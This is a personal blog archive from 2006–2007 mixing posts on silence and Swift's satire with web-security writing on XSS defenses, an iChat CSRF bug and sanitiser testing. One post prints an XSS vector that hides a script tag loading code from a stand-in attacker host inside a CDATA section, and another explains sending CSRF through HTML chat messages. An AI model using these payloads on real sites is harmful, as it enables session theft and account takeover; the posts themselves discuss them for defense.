Mark IJbema's Blog

Silence

2007-05-08T09:29:00.000+01:00

I just read 29 Happiness Hacks to Feel Better Now, and the tip I really liked is tip Eighteen:

Hack Eighteen: Silence

Listen to the quiet. Turn off every sound possible so you can actually hear what silence sounds like. It might require a drive to a more secluded location, or turning off appliances in your house but near absolute silence is so rare it is amazing how beautiful it is when you can hear it.

However it can be so hard to find a silent place nowadays. In my room I always hear music of neighbours (not that hard that it is annoying, but i still hear it), my computer, and several other small sounds.

Even when I go for a walk outside the city it still hard to get silence. Recently I took a walk along the Paterswoldse Meer, and though it's nice and relatively quiet there at night, you still hear the cars from the nearby highway.

I remember skiing down a closed black piste with a friend of mine, and since it was closed (meaning you're not insured if you get an accident) and black (meaning it's comparatively hard) there was no-one there. And as the piste went around a mountain, at some point you could see neither hear the other pistes. Shocked by the silence I first comfirmed that "Ezel" was indeed the mayor of "Wezel".

We decided to lie down for a moment and to listen to the silence. And it was right there I discovered I haven't heared silence for a long time. This was really a weird discovery, because you're in enough "silent" situations; when in the library, while making an exam, etc. However, it's only when you hear perfect silence you realise you actually never experience real silence.

When was the last time you experienced silence?

Jonathan Swift on Security Theater

2007-05-07T19:17:00.000+01:00

Recently I stumbled upon a passage in Gulliver's Travels where Gulliver visits the Academy of Projectors. In this Academy, projectors invent great projects, however there seem to be some practical downsides (aka, the plans don't work). After visiting a professor extracting sunbeams out of cucumbers, a professor who tried to restore the original food from human excrements, a professor who decided it was better to build buildings top-down, since that was how spiders built them and several others, he came into the political department. Here he met another professor:

Another professor showed me a large paper of instructions for discovering plots and conspiracies against the government. He advised great statesmen to examine into the diet of all suspected persons; their times of eating; upon which side they lay in bed; with which hand they wipe their posteriors; take a strict view of their excrements, and, from the colour, the odour, the taste, the consistence, the crudeness or maturity of digestion, form a judgment of their thoughts and designs; because men are never so serious, thoughtful, and intent, as when they are at stool, which he found by frequent experiment; for, in such conjunctures, when he used, merely as a trial, to consider which was the best way of murdering the king, his ordure would have a tincture of green; but quite different, when he thought only of raising an insurrection, or burning the metropolis.

Which reminded me of a lot of posts on Security Theater and profiling in the aviation industry which I read on Schneiers blog recently, however, it reminded me the most on the report of the development of a new technology which registers wether someone on board of a plane is a terrorist by watching how they act. Maybe they should put technology in the toilets instead ;). I really like how a 300-year old satire still is so uptodate.

Month of Myspace Bugs, Yuss!

2007-04-14T12:09:00.000+01:00

After the month of the browser bugs, the month of the kernel bugs, the month of the apple bugs and the month of the php bugs this month is the month of the myspace bugs. While this initiave takes itself a bit less serious and also parodies the other month-of's it's still interesting. They show a lot of nice application level exploits and explain wether they are hard or not and why. So check it out if you're into XSS, phishing, etc. Also make sure you check their recent post on operational security

XSS defense in depth measures

2007-04-12T15:17:00.000+01:00

Last night i was thinking about defense in depth against XSS. It is not always an option to rewrite big parts of an application (since it's a commercial package for instance). So I am searching for methods which could be implemented easily using for instance one (server-side) include at the start of each page. These are the options I thought of. If anyone has additional defense in depth methods I'd really like to hear.

Referrer checking
If some page should only be called from your own site, you shouldn't allow other sites. Of course this is no real protection since people use (stupid) firewalls which block the referrer. Also, it does not stop attacks from the same site (using XSS for example).
Disallow certain characters in parameters
This might not be able for every site but if it is it might help. You can of course forbid certain characters like <. This might not prevent all attacks but it might keep a few out of the door. Of course this is only possible if your site doesn't need to accept less than signs.
HTTPOnly cookies
While this doesn't help preventing XSS it helps against one of the standard exploits. If you use HTTPOnly cookies MSIE and Firefox 3 users can't have their cookies (=sessions) stolen. This prevents a remote takeover from a session. However, one can still put a script in the payload which already does nasty stuff, or hijack the session using some sort of XSS shell.
Advanced referrrer checking
You could improve on referrer checking by defining a graph of pages. In this graph you'd need to mention all allowed steps from one page to the next, and only allow those. Of course this is rather labour intensive. Alternatively you could `record' steps taken for a month or so and base your graph upon that.
Parameter checking
If the parameters are well-defined you could add an extra kind of software firewall in front off the application which checks wether the values contain ``valid'' values (for instance, wether id's are integers). Again this is labour intensive, and again it might be possible to automate this by recording currently used values and doing some smart heuristics on them.
Crippling Javascript
This won't help against XSS either, but like HTTPOnly cookies it will reduce the impact. For instance you could overwrite the XMLHttpRequest object if you're not using it, so it can't be used in any exploit

So now it's your turn, do you have any simple methods which can improve the security? (I'm aware that the only solution is to code secure applications)

XSS in Blogspot

2007-01-12T11:32:00.000+01:00

Yesterday RSnake posted about a ``XSS'' hole in Blogger. I don't really think it's XSS if you can only inject on your own blog, but whatever. It didn't sound too interesting that it was safari-only either, so I decided to extend the exploit to MSIE and Firefox, so here it is:

http://nightofthexss.blogspot.com/

For the exploit I use that Firefox actually parses comments correctly and that MSIE has support for conditional comments.

Kudos to Jose Avila for the original exploit.

Month of the Apple Bugs

2007-01-05T14:24:00.000+01:00

I have a few hippie friends who use a Mac. They used to claim their OS was safer, but now they can't anymore ;). It's the Month of the Apple Bugs. But since I like my RSS reader I decided to make a feed, enjoy!

Why don't people take XSS seriously?

2006-12-22T09:35:00.000+01:00

Recently RSnake wrote an article on the seriousness of XSS, because a lot of people are asking him what the worst thing is XSS can do. He goes on about how it can be used to do sophisticated cross-domain exponential attacks, but he doesn't touch too much upon the underlying problem. Why are people asking this question?

In my experience people don't see XSS as a problem. This is since the people who should care about it are system administrators and/or programmers. They're the same people who think Linux is safe because each user can only fuck up his own files. And this is the fundamental problem! Sure, a user can only fuck up his own files, but those are the only important files to the user. The user couldn't care less if the systems emacs binary becomes crippled. Because It is easy to replace everything in the system, but not the user files.

It's the same with XSS versus SQL injection. SQL injection is seen as a serious problem since you can attack the system. But you don't need to attack the system, attacking the client is enough. Let's say I want to hack a bank, because of a lack of money. Of course if I could do SQL injection (let's say this bank uses a mysql database ;) ) and change some of the amounts and end up with a lot more money.

However, I don't really need 5 million euro's and I'll settle for a few thousand. If I can just hack one account and make one user do a deposit to my account, wouldn't that be enough? Similarly, if I'm a student and I want to change my grades, I only need to hack the teachers account. And these are typically the kind of attacks most easily done by XSS. You only need to find one XSS exploit somewhere on the site and then need to social engineer someone to click on a link (which doesn't even have to be to the site, but can be a redirect) or if you're lucky you can even use persistent XSS. And almost all sites I know of are full of XSS, while fewer and fewer have SQL injection leaks.

So what can you do with XSS? Anything the person you are hacking can do.

CSRF in iChat

2006-12-16T17:16:00.001+01:00

A year ago or so I discovered that iChat does not only share the rendering engine, but also the cookie manager with Safari. So you can CSRF someone over at least AIM (i don't know wether other protocols support html as well) by sending them an HTML message. The HTML message can contain an img tag, and thus execute a CSRF.

Since a friend of mine reported this bug when I found it, and they still haven't fixed it it seemed like the time to publish it. I also wonder wether other clients also share this problem (for instance windows clients using the msie rendering engine).

Google Reader security

2006-12-14T19:12:00.000+01:00

Since I was bored I decided to test the Google Reader security (I like to make sure that the websites I use are at least moderately secure). Also, since this is a community application (via the shared feeds) a XSS exploit could spread quite easily (like the MySpace worm).

But Google has actually implemented a decent security scheme. As far as i can see they actually parse the html (and xhtml) generate new html from the parse tree. They also prevent the hack which i thought of recently by stripping CDATA sections and replacing them by their html-encoded content.

I also tried injecting into the style property, but they actually seem to parse the css as well. At least to me this approach seems pretty solid. That is, it is the approach I always advise to people. Parse everything, make a (xml) tree, and use a whitelisting filter (for example XSLT) to select the allowed properties). The hard part is to parse the domain languages (javascript, css) and they seem to handle that properly as well. Good to see a webapp/website that actually thought about their security :) (though I must admit it is a bit disappointing to search for exploits for some time and find none ;) ).

Xhtml XSS exploit

2006-12-13T22:59:00.000+01:00

A few days ago I was discussing the security of our company's new webframework with Eamon. This framework is by design quite XSS-safe. Because the whole website is XML based we need to use XML everywhere. And if we take the user input as XHTML instead of HTML it's much easier to make sure it's valid. And it's very easy to clear a valid XHTML fragment of XSS attacks (by only allowing reasonable tags, and doing some filtering on valid urls).

But there's one pitfall. Since some browsers (looking at you MSIE) don't understand XHTML we need to serve the pages as text/html. If we now choose to serve the XHTML as is we might run into some trouble. Since XHTML allows some constructs which mean nothing in HTML we might be able to create a valid and safe XHTML document, which isn't safe if served as HTML. For instance, this is a possible attack vector.


<![CDATA[ >
<script src="http://evilhaxor.org/evilscript.js"></script>
< ]]>

But since I'm not that skilled in XML, I don't know all possible constructs. But it might also be possible to do nasty things with namespaces for instance (let's say the script namespace). If anyone has additional attack vectors i'm very interested :)

XSS Cheat Sheet and Database

2006-12-04T16:52:00.000+01:00

I guess most of my readers will be familiar with the XSS cheat sheet. But I only recently found out that someone also wrote a nice frontend to it to search through it more easily, the XSSDB. If someone knows more XSS databases like these i'd really like to hear about them.